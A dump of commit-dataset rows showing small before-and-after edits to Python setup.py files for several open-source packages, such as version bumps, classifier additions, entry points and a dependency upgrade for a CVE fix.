<commit_before># Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.1", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", ) <commit_msg>Declare dependency on httplib2, and bump version.<commit_after># Copyright 2015 Alburnum Ltd. This software is licensed under # the GNU Affero General Public License version 3 (see LICENSE). """Distutils installer for alburnum-maas-client.""" from __future__ import ( absolute_import, print_function, unicode_literals, ) __metaclass__ = type from setuptools import ( find_packages, setup, ) setup( name='alburnum-maas-client', author='Gavin Panella', author_email='gavinpanella@gmail.com', url='https://github.com/alburnum/alburnum-maas-client', version="0.1.2", classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python :: 3', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries', ], packages=find_packages(), install_requires={ "httplib2 >= 0.9", }, test_suite="alburnum.maas.tests", description="A client API library specially for MAAS.", )
796eac9b38601214279debc8afaf4e82e9c5548d
setup.py
setup.py
#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], )
#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], )
Add Python 3.6 to classifiers
Add Python 3.6 to classifiers
Python
mit
gqmelo/exec-wrappers,gqmelo/exec-wrappers
#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], ) Add Python 3.6 to classifiers
#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], )
<commit_before>#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], ) <commit_msg>Add Python 3.6 to classifiers<commit_after>
#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], )
#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], ) Add Python 3.6 to classifiers#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], )
<commit_before>#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], ) <commit_msg>Add Python 3.6 to classifiers<commit_after>#!/usr/bin/env python from setuptools import setup setup( name="exec-wrappers", version='1.0.3', author="Guilherme Quentel Melo", author_email="gqmelo@gmail.com", url="https://github.com/gqmelo/exec-wrappers", license="MIT", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", ], description="wrappers for running commands that need some initial setup", long_description=open('README.rst').read(), packages=['exec_wrappers'], entry_points={'console_scripts': 'create-wrappers = exec_wrappers.create_wrappers:main'}, package_data={'exec_wrappers': ['templates/*/*']}, include_package_data=True, install_requires=[], )
2544f892f93ab2ddf95ef3634c39e7c3840fb03a
setup.py
setup.py
from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] if sys.version_info < (2,6,): install_requires.append("simplejson>=1.7.1") setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main """, )
from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main twitterbot=twitter.ircbot:main """, )
Enable the twitterbot since dateutil requirement is now gone.
Enable the twitterbot since dateutil requirement is now gone.
Python
mit
tytek2012/twitter,adonoho/twitter,durden/frappy,Adai0808/twitter,hugovk/twitter,miragshin/twitter,sixohsix/twitter,jessamynsmith/twitter
from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] if sys.version_info < (2,6,): install_requires.append("simplejson>=1.7.1") setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main """, ) Enable the twitterbot since dateutil requirement is now gone.
from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main twitterbot=twitter.ircbot:main """, )
<commit_before>from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] if sys.version_info < (2,6,): install_requires.append("simplejson>=1.7.1") setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main """, ) <commit_msg>Enable the twitterbot since dateutil requirement is now gone.<commit_after>
from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main twitterbot=twitter.ircbot:main """, )
from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] if sys.version_info < (2,6,): install_requires.append("simplejson>=1.7.1") setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main """, ) Enable the twitterbot since dateutil requirement is now gone.from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main twitterbot=twitter.ircbot:main """, )
<commit_before>from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] if sys.version_info < (2,6,): install_requires.append("simplejson>=1.7.1") setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main """, ) <commit_msg>Enable the twitterbot since dateutil requirement is now gone.<commit_after>from setuptools import setup, find_packages import sys, os version = '1.5.2' install_requires = [ # -*- Extra requirements: -*- ] setup(name='twitter3', version=version, description="An API and command-line toolset for Twitter (twitter.com)", long_description=open("./README", "r").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=[ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: End Users/Desktop", "Natural Language :: English", "Operating System :: OS Independent", "Programming Language :: Python :: 3", "Topic :: Communications :: Chat :: Internet Relay Chat", "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries", "Topic :: Utilities", "License :: OSI Approved :: MIT License", ], keywords='twitter, IRC, command-line tools, web 2.0', author='Mike Verdone', author_email='mike.verdone+twitterapi@gmail.com', url='http://mike.verdone.ca/twitter/', license='MIT License', packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), include_package_data=True, zip_safe=True, install_requires=install_requires, entry_points=""" # -*- Entry points: -*- [console_scripts] twitter=twitter.cmdline:main twitterbot=twitter.ircbot:main """, )
b3453f31b0e7e4be117a4c0379202cd0a440ce60
setup.py
setup.py
from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } )
from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(exclude=('tests', )), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } )
Exclude tests from installed packages
Exclude tests from installed packages
Python
mit
click-contrib/click-man
from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } ) Exclude tests from installed packages
from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(exclude=('tests', )), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } )
<commit_before>from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } ) <commit_msg>Exclude tests from installed packages<commit_after>
from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(exclude=('tests', )), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } )
from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } ) Exclude tests from installed packagesfrom setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(exclude=('tests', )), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } )
<commit_before>from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } ) <commit_msg>Exclude tests from installed packages<commit_after>from setuptools import setup, find_packages setup( name='click-man', version='0.2.1', license='MIT', description='Generate man pages for click based CLI applications', author='Timo Furrer', author_email='tuxtimo@gmail.com', install_requires=[ 'click' ], packages=find_packages(exclude=('tests', )), entry_points={ 'console_scripts': [ 'click-man = click_man.__main__:cli', ] } )
cdefa2089cad46884d8cf9c3e4e5f475a1beed58
setup.py
setup.py
from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.17,<0.18', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, )
from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.31,<0.34', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, )
Upgrade eventlet to fix CVE-2021-21419
Upgrade eventlet to fix CVE-2021-21419
Python
mit
tonyseek/rsocks,tonyseek/rsocks
from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.17,<0.18', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, ) Upgrade eventlet to fix CVE-2021-21419
from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.31,<0.34', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, )
<commit_before>from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.17,<0.18', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, ) <commit_msg>Upgrade eventlet to fix CVE-2021-21419<commit_after>
from setuptools import setup, find_packages with open('README.rst') as readme: long_description = ''.join(readme).strip() setup( name='rsocks', version='0.3.3', author='Jiangge Zhang', author_email='tonyseek@gmail.com', description='A SOCKS reverse proxy server.', long_description=long_description, url='https://github.com/tonyseek/rsocks', license='MIT', classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: Implementation :: PyPy', ], packages=find_packages(), platforms=['Any'], install_requires=[ 'PySocks>=1.5,<1.6', 'eventlet>=0.31,<0.34', 'click>=3.3,<3.4', 'toml.py>=0.1,<0.2', 'six', ], entry_points={ 'console_scripts': [ 'rsocks=rsocks.cli:main', ], }, )
